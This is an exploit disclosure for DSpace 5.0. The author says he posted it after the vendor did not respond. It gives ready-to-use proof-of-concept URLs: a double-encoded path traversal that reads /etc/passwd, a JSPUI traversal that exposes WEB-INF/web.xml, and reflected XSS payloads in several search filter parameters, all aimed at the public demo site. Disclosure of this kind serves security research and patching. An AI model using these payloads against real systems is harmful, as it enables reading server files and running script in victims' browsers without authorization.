Dspace Multiple Vulnerabilities

DSpace 5.x suffers from several vulnerabilities, including XSS, Path Traversal

Before we start, i have already contact Dspace team (http://www.dspace.org/contact) via email and form since 3 weeks, yet there is no reply. as though the vulnerabilities still exists .

Exploit Title: Dspace Multiple Vulnerabilities
Date: 3/2/2015
Exploit Author: Khalil Shreateh
Vendor Homepage: http://khalil-shreateh.com/
Software Link: http://demo.dspace.org/
Version: DSpace 5.0
Tested on: Windows 7

Quote:

"DSpace open source software is a turnkey repository application used by more than 1000+ organizations and institutions worldwide to provide durable access to digital resources."
XMLUI (Cocoon/XSLT) - The XML / XSLT / Cocoon user interface
This version suffers from Path Traversal vulnerability, to exploit this vulnerability i used double encoding for the dot (.)
so the ../ wil be %252e%252e/

POC :

http://demo.dspace.org/xmlui/static/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

JSPUI (JSP) - traditional JSP-based interface

A. Path Traversal Vulnerability

The first vulnerability in this version allows to read files on server .
POC :
http://demo.dspace.org/jspui/handle/10673/1/WEB-INF/web.xml

B. Cross Site Scripting (XSS) Vulnerability

The second vulnerability in this version allows to execute arbitrary commands and display arbitrary content in a victim user's browser
The vulnerability exists in several varialbes
- filtertype
- filter_type_1
- filtername
- filter_field_1
All the above varialbes are not sanitized correctly .

POC :
http://demo.dspace.org/jspui//simple-search?etal=0&filter_field_1=dateIssueddateIssued"/><img src=x onerror="alert('khalil-shreateh.com')&filter_type_1=equals&filter_value_1=123order=desc&query=&rpp=10&sort_by=score&start=10
http://demo.dspace.org/jspui/simple-search?filterquery=1&filtername=subject&filtertype=equals%22/%3E%3Cscript%3Ealert%28'khalil-shreateh.com'%29%3C/script%3E
http://demo.dspace.org/jspui/simple-search?location=194&query=khalil&filter_field_1=title&filter_type_1=equals&filter_value_1=khalil&filtername=author"/><img src=x onerror="alert('khalil-shreateh.com')&filtertype=equals&filterquery=a&rpp=10&sort_by=score&order=desc

- See more at: http://khalil-shreateh.com/khalil.shtml/index.php/it-highlights/latest-vulnerabilities-and-exploits/279-dspace-multiple-vulnerabilities.html#sthash.XdU1DQmu.dpuf

Khalil Shreateh

Security Expert – Ethical Hacker

khalil@khalil-shreateh.com

https://facebook.com/khalil.shr
https://twitter.com/khalilshreateh
https://youtube.com/shreateh